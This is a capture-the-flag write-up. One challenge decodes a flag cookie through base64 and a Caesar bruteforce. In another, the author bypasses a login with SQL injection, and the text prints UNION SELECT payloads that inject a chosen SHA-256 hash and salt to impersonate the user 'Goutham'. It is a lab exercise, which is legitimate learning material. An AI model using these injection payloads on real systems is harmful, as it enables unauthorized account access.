TL;DR: intercepting proxy, base64 flag cookie, Caesar bruteforce
The URL is using a HTTP 302 to redirect us to Rick Astley - Never Gonna Give You Up youtube video.
Making the request with Burp Suite Repeater,
we obtain the following result:
The value of the flag cookie is a base64 string but gives us nothing when we decode it.
The second cookie Julius C. let us think this is about the Caesar cipher.
By doing a Caesar bruteforce, we can get the following base64 string with a +17 shift: V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=.
Here was my ruby script to do some case sensitive Caesar bruteforce:
An admin gave me a hint: The goal is to trick the database when checking for a hash..
And they said on the Discord channel that bruteforce is not needed.
Note : I did this part after the end of the CTF.
Ok let's think this time before using force.
We know there is 3 columns in the query so let's try this: invalid' UNION SELECT 1,1,1-- -.
We get an useful error again:
As we can't break Goutham's password we may use UNION to provide another row with the hash we want, using a comment -- will allow us to bypass LIMIT 1.
This way we will be able to provide arbitrary stuff in order to trick hashlib.sha256(password + salt).
Knowing the database and the hashing scheme we can compute a new hash and force the server to use it:
clientname: invalid' UNION SELECT "2", "9c1e78c30e9721805b44701a05476086312741b6114334e3c312b87da7f95e4a", "nepdrqs"--
password: rawsec
Without knowing the database content but knowing the hash scheme is easy too, we can pick the id from the database and also overwrite the salt:
clientname: invalid' UNION SELECT id, "4541356add1076a04e4a340b7cb573c9533fc025b0b9af7be0203af216eaa13e", "noraj" FROM clients WHERE clientname = "Goutham"--
password: rawsec
But for those who didn't discovered the hash scheme with the second error message it is also possible to provide a void string so prefix or suffix salt will have the same behavior:
clientname: invalid' UNION SELECT id, "fc924c26cc88170d40d708e7eaf654b6dc6d1fb8b17bea1510eca639511833a1", "" FROM clients WHERE clientname = "Goutham"--
password: rawsec
Why Goutham? Because the comment on the page suggests it.
So we get the flag: Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}".